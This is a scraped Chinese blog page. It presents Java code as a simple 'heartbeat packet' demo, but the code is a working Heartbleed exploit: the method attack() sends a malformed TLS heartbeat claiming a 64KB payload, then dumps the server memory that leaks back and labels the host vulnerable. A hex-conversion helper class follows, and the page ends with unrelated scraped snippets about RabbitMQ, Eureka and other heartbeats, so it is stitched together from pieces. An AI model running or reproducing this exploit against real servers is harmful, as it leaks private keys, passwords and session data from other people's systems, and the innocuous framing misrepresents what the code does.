- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章java发送heartbeat心跳包(byte转16进制)由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
代码如下
package com.jxy.web,
。
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.UnsupportedEncodingException; import java.net.Socket; import java.net.UnknownHostException,
import com.jxy.tools.MyByte,
public class Heartbleed { private static byte[] hello = { (byte) 0x16, (byte) 0x03, (byte) 0x02, (byte) 0x00, (byte) 0xdc, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xd8, (byte) 0x03, (byte) 0x02, (byte) 0x53, (byte) 0x43, (byte) 0x5b, (byte) 0x90, (byte) 0x9d, (byte) 0x9b, (byte) 0x72, (byte) 0x0b, (byte) 0xbc, (byte) 0x0c, (byte) 0xbc, (byte) 0x2b, (byte) 0x92, (byte) 0xa8, (byte) 0x48, (byte) 0x97, (byte) 0xcf, (byte) 0xbd, (byte) 0x39, (byte) 0x04, (byte) 0xcc, (byte) 0x16, (byte) 0x0a, (byte) 0x85, (byte) 0x03, (byte) 0x90, (byte) 0x9f, (byte) 0x77, (byte) 0x04, (byte) 0x33, (byte) 0xd4, (byte) 0xde, (byte) 0x00, (byte) 0x00, (byte) 0x66, (byte) 0xc0, (byte) 0x14, (byte) 0xc0, (byte) 0x0a, (byte) 0xc0, (byte) 0x22, (byte) 0xc0, (byte) 0x21, (byte) 0x00, (byte) 0x39, (byte) 0x00, (byte) 0x38, (byte) 0x00, (byte) 0x88, (byte) 0x00, (byte) 0x87, (byte) 0xc0, (byte) 0x0f, (byte) 0xc0, (byte) 0x05, (byte) 0x00, (byte) 0x35, (byte) 0x00, (byte) 0x84, (byte) 0xc0, (byte) 0x12, (byte) 0xc0, (byte) 0x08, (byte) 0xc0, (byte) 0x1c, (byte) 0xc0, (byte) 0x1b, (byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x13, (byte) 0xc0, (byte) 0x0d, (byte) 0xc0, (byte) 0x03, (byte) 0x00, (byte) 0x0a, (byte) 0xc0, (byte) 0x13, (byte) 0xc0, (byte) 0x09, (byte) 0xc0, (byte) 0x1f, (byte) 0xc0, (byte) 0x1e, (byte) 0x00, (byte) 0x33, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x9a, (byte) 0x00, (byte) 0x99, (byte) 0x00, (byte) 0x45, (byte) 0x00, (byte) 0x44, (byte) 0xc0, (byte) 0x0e, (byte) 0xc0, (byte) 0x04, (byte) 0x00, (byte) 0x2f, (byte) 0x00, (byte) 0x96, (byte) 0x00, (byte) 0x41, (byte) 0xc0, (byte) 0x11, (byte) 0xc0, (byte) 0x07, (byte) 0xc0, (byte) 0x0c, (byte) 0xc0, (byte) 0x02, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x12, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x14, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x08, (byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0xff, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x00, (byte) 0x04, (byte) 0x03, (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x34, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x0e, (byte) 0x00, (byte) 0x0d, (byte) 0x00, (byte) 0x19, (byte) 0x00, (byte) 0x0b, (byte) 0x00, (byte) 0x0c, (byte) 0x00, (byte) 0x18, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x17, (byte) 0x00, (byte) 0x08, (byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x07, (byte) 0x00, (byte) 0x14, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x12, (byte) 0x00, (byte) 0x13, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0x0f, (byte) 0x00, (byte) 0x10, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x23, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0f, (byte) 0x00, (byte) 0x01, (byte) 0x01 }; private static byte[] bleed = { (byte) 0x18, (byte) 0x03, (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x01, (byte) 0xff, (byte) 0xff }; private static byte[] tmp; private static byte[] pay,
/** * SSL3_RT_CHANGE_CIPHER_SPEC 20 * SSL3_RT_ALERT 21 * SSL3_RT_HANDSHAKE 22 * SSL3_RT_APPLICATION_DATA 23 * TLS1_RT_HEARTBEAT 24 * * @param args * @throws Exception */ 。
public static void main(String[] args) { attack("改为自己测试的主机", 465); System.exit(0); } 。
public static boolean attack(String host, int port) { 。
System.out.println("开始连接..."); Socket socket = null; try { socket = new Socket(host, port); } catch (UnknownHostException e) { System.out.println("未知主机."); return false; } catch (IOException e) { System.out.println("访问主机失败."); return false; } OutputStream out = null; try { out = socket.getOutputStream(); } catch (IOException e) { System.out.println("获取输出流失败."); return false; } InputStream in = null; try { in = socket.getInputStream(); } catch (IOException e) { System.out.println("获取输入流失败."); return false; } 。
System.out.println("发送客户端心跳包..."),
try { out.write(hello); } catch (IOException e) { System.out.println("发送心跳包失败."); return false; } 。
System.out.println("等待服务器心跳包..."),
while (true) { tmp = getData(in, 5); if (tmp[0] == 0) { System.out.println("服务器没有返回心跳包并且关闭了连接."); return false; } 。
analyseHead(tmp),
int len = (int) MyByte.HexString2Long(MyByte .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4])),
pay = getData(in, len),
if (tmp[0] == 22 && pay[0] == 0x0E) { System.out.println("查找到返回正常的心跳包。"); break; } 。
} 。
System.out.println("发送heartbeat心跳包..."),
try { out.write(bleed); } catch (IOException e) { System.out.println("发送heartbeat心跳包失败."); return false; } try { out.write(bleed); } catch (IOException e) { System.out.println("发送heartbeat心跳包失败."); return false; } 。
while (true) { tmp = getData(in, 5); int len = (int) MyByte.HexString2Long(MyByte .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4])),
if (tmp[0] == 0) { System.out.println("没有heartbeat返回接收到, 服务器看起来不是易受攻击的"); return false; } 。
if (tmp[0] == 24) { System.out.println("接收到heartbeat返回:"),
int count=0;//长度计数 for (int i = 0; i < 4; i++) {//读4次,全部读出64KB pay = getData(in, len); count+=pay.length; System.out.print(hexdump(pay)); } 。
System.out.println("\n数据长度为:" + count),
if (len > 3) { System.out .println("警告: 服务器返回了原本比它多的数据 -服务器是易受攻击的!"); } else { System.out .println("服务器返回畸形的heartbeat, 没有返回其他额外的数据"); } 。
break,
} 。
if (tmp[0] == 21) { System.out.println("接收到警告:"); System.out.println(hexdump(pay)); System.out.println("服务器返回错误,看起来不是易受攻击的"); break; } 。
} 。
try { out.close(); in.close(); } catch (IOException e) { System.out.println("关闭输入输出流异常"); } 。
return true; } 。
public static byte[] getData(InputStream in, int lenth) { byte[] t = new byte[lenth]; try { in.read(t); } catch (IOException e) { System.out.println("接受数据错误"); } return t; } 。
public static String hexdump(byte[] pay) { String s = ""; try { s = new String(pay, "GB2312"); } catch (UnsupportedEncodingException e) { System.out.println("未知编码"); } return s; } 。
public static void analyseHead(byte[] tmp) { System.out.print("接收到消息: "); System.out.print("类型:" + tmp[0] + "\t"); System.out.print("版本:" + MyByte.byteToHexString(tmp[1]) + MyByte.byteToHexString(tmp[2]) + "\t"); System.out.println("长度:" + MyByte.HexString2Long(MyByte.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]))),
} 。
} 。
。
。
复制代码代码如下
package com.jxy.tools,
。
/** * 16进制值与String/Byte之间的转换 * */ public class MyByte { 。
/** * 字符串转换成十六进制字符串 * * @param String * str 待转换的ASCII字符串 * @return String 每个Byte之间空格分隔,如: [61 6C 6B] */ public static String str2HexStr(String str) { 。
char[] chars = "0123456789ABCDEF".toCharArray(); StringBuilder sb = new StringBuilder(""); byte[] bs = str.getBytes(); int bit,
for (int i = 0; i < bs.length; i++) { bit = (bs[i] & 0x0f0) >> 4; sb.append(chars[bit]); bit = bs[i] & 0x0f; sb.append(chars[bit]); sb.append(' '); } return sb.toString().trim(); } 。
/** * 十六进制转换字符串 * * @param String * str Byte字符串(Byte之间无分隔符 如:[616C6B]) * @return String 对应的字符串 */ public static String hexStr2Str(String hexStr) { String str = "0123456789ABCDEF"; char[] hexs = hexStr.toCharArray(); byte[] bytes = new byte[hexStr.length() / 2]; int n,
for (int i = 0; i < bytes.length; i++) { n = str.indexOf(hexs[2 * i]) * 16; n += str.indexOf(hexs[2 * i + 1]); bytes[i] = (byte) (n & 0xff); } return new String(bytes); } 。
/** * String的字符串转换成unicode的String * * @param String * strText 全角字符串 * @return String 每个unicode之间无分隔符 * @throws Exception */ public static String strToUnicode(String strText) throws Exception { char c; StringBuilder str = new StringBuilder(); int intAsc; String strHex; for (int i = 0; i < strText.length(); i++) { c = strText.charAt(i); intAsc = (int) c; strHex = Integer.toHexString(intAsc); if (intAsc > 128) str.append("\\u" + strHex); else // 低位在前面补00 str.append("\\u00" + strHex); } return str.toString(); } 。
/** * unicode的String转换成String的字符串 * * @param String * hex 16进制值字符串 (一个unicode为2byte) * @return String 全角字符串 */ public static String unicodeToString(String hex) { int t = hex.length() / 6; StringBuilder str = new StringBuilder(); for (int i = 0; i < t; i++) { String s = hex.substring(i * 6, (i + 1) * 6); // 高位需要补上00再转 String s1 = s.substring(2, 4) + "00"; // 低位直接转 String s2 = s.substring(4); // 将16进制的string转为int int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16); // 将int转换为字符 char[] chars = Character.toChars(n); str.append(new String(chars)); } return str.toString(); } 。
/** * 合并两个byte数组 * * @param pByteA * @param pByteB * @return */ public static byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) { int aCount = pByteA.length; int bCount = pByteB.length; byte[] b = new byte[aCount + bCount]; for (int i = 0; i < aCount; i++) { b[i] = pByteA[i]; } for (int i = 0; i < bCount; i++) { b[aCount + i] = pByteB[i]; } return b; } 。
/** * 截取byte数据 * * @param b * 是byte数组 * @param j * 是大小 * @return */ public static byte[] cutOutByte(byte[] b, int j) { if (b.length == 0 || j == 0) { return null; } byte[] tmp = new byte[j]; for (int i = 0; i < j; i++) { tmp[i] = b[i]; } return tmp; } 。
/** * 16进制字符串转换byte数组 * * @param hexstr * String 16进制字符串 * @return byte[] byte数组 */ public static byte[] HexString2Bytes(String hexstr) { byte[] b = new byte[hexstr.length() / 2]; int j = 0; for (int i = 0; i < b.length; i++) { char c0 = hexstr.charAt(j++); char c1 = hexstr.charAt(j++); b[i] = (byte) ((parse(c0) << 4) | parse(c1)); } return b; } 。
private static int parse(char c) { if (c >= 'a') return (c - 'a' + 10) & 0x0f; if (c >= 'A') return (c - 'A' + 10) & 0x0f; return (c - '0') & 0x0f; } 。
/** * byte转换为十六进制字符串,如果为9以内的,用0补齐 * * @param b * @return */ public static String byteToHexString(byte b) { String stmp = Integer.toHexString(b & 0xFF); stmp = (stmp.length() == 1) ? "0" + stmp : stmp; return stmp.toUpperCase(); } 。
/** * 将byte转换为int * * @param b * @return */ public static int byteToInt(byte b) { return Integer.valueOf(b); } 。
/** * bytes转换成十六进制字符串 * * @param byte[] b byte数组 * @return String 每个Byte值之间空格分隔 */ public static String byteToHexString(byte[] b) { String stmp = ""; StringBuilder sb = new StringBuilder(""); for (byte c : b) { stmp = Integer.toHexString(c & 0xFF);// 与预算,去掉byte转int带来的补位 sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的话填充零 sb.append(" ");// 每位数据用空格分隔 } return sb.toString().toUpperCase().trim();// 变换大写,并去除首尾空格 } 。
public static long HexString2Long(String hexstr) { long sum=0; int length=hexstr.length(); for (int i = 0; i < length; i++) { sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1); } return sum; } } 。
。
最后此篇关于java发送heartbeat心跳包(byte转16进制)的文章就讲到这里了,如果你想了解更多关于java发送heartbeat心跳包(byte转16进制)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
这里有几个关于 RabbitMQ 心跳的问题,但我还没有找到一个解决如何实际更改 60 秒(580 秒)的默认心跳值的问题以前的版本)。 如果消费者运行时间超过60秒并且无法产生任何算作心跳的流量(例
好吧,我发布了一个“烦人的弹出窗口”问题,作为“记录”某人在页面上花费的时间的解决方案,普遍的共识是在计时器上使用 ajax 调用来向服务器报告用户的情况仍在页面上...(下面是我想到的代码)。 我遇
我正在阅读一篇关于 Eureka 的文章,它说: if there are two clients registered to a Eureka instance, each one sending
我正在阅读一篇关于 Eureka 的文章,它说: if there are two clients registered to a Eureka instance, each one sending
我尝试使用 Python 3 asyncio 创建一个概念证明,实现一个定期向服务器发送 心跳 以保持连接有效的客户端。 p> 请注意,服务器只是一个回显服务器,不会关闭连接。但重要的是客户端能够定期
我注意到 cron 作业无法正常工作,因为某些任务未执行(自动提要生成、谷歌站点地图……)。 1)我安装了(非常有用的)AOE调度器 2) 我通过 PHPmyAdmin 检查了 cron_schedu
我试图了解 Linux-HA 项目 Heartbeat 的实际工作原理。我发现 Heartbeat 在系统级别而不是应用程序级别提供 HA,这意味着虚拟 IP 仅在系统停机情况下才会移动到备份系统,而
我遇到了 rabbitmq 的一个问题,它终止了以下异常的连接 {"message":"com.rabbitmq.client.AlreadyClosedException: connection
我们正在开发一个应用程序来对我们所有的 SQL 服务器(2000、2005 和 2008)进行“心跳”测试,我们正在尝试确定 SQL 服务器上执行此操作所需的最低权限。 (所涉及的平台待定,但应使用标
我有一个 Observable,source,它可能会在不可预测的时间发出项目。我正在尝试使用它来构建另一个每 500 毫秒可靠地发出其值的 Observable。 假设 source 在这些时间发出
我目前正在使用 TypeScript 在 NodeJs 上运行 WebSocket 服务器。作为 WebSocket 服务器实现,我使用的是 ws .除此之外,我使用 @types/ws打字包。 我希
我正在使用 Synapse for Delphi,但是在 HTTP 下载期间,GUI 当然会卡住。查看文档,他们建议使用 OnHeartbeat 方法。 (参见 http://www.ararat.c
我正在尝试创建一个允许用户“登录”和“注销”的小型 Web 应用程序。我目前遇到的问题是允许客户端向服务器发送持续的“心跳”或消息以通知它仍然处于事件状态。 这更像是一个逻辑问题。我想要做的是在 ph
使用 QuickFIX/J 1.6.3 我的 QuickFIX/J 接受器出现这种奇怪的行为,我完全不知道为什么。我的接受者正在发送一个测试请求,期待一个心跳,发起者向我发送一个心跳,但我的接受者无论
我有一个象征心跳的图像 我正在尝试在我的 subview 中循环播放它,这样如果您理解我的意思,它就会不断出现在我的 View 中。到目前为止,我已经让它在我的 subview 上无限地出现和移动,但
我正在使用 openssl 库来实现 tls 服务器。如何使用openssl API配置Heartbeat请求超时和重试次数来控制keepalive消息流? 最佳答案 我假设您确实如您所说的那样指的是
最近的 Heartbleed 漏洞是由这种特殊的未经检查的执行引起的: buffer = OPENSSL_malloc(1 + 2 + payload + padding); (根据 http://j
我想从我的应用程序向 GCM 服务器发送一个心跳信号,以便连接保持有效。 我该怎么做,我怎么知道我的 GCM 服务器的 URL? 提前致谢! 最佳答案 如何发送心跳 这个类可以发送正确的 Intent
我正在考虑实现一个“心跳”流程来全天执行大量重复的清理任务。 这似乎是使用命令模式的好机会,所以我有一个如下所示的界面: public interface ICommand {
我有一个 dag,它运行 4 个任务,这些任务都是 bash 运算符(operator)。最近我转向了 Airflow 版本 1.10.2。我经常看到以下错误 - ERROR - Scheduler
我是一名优秀的程序员,十分优秀!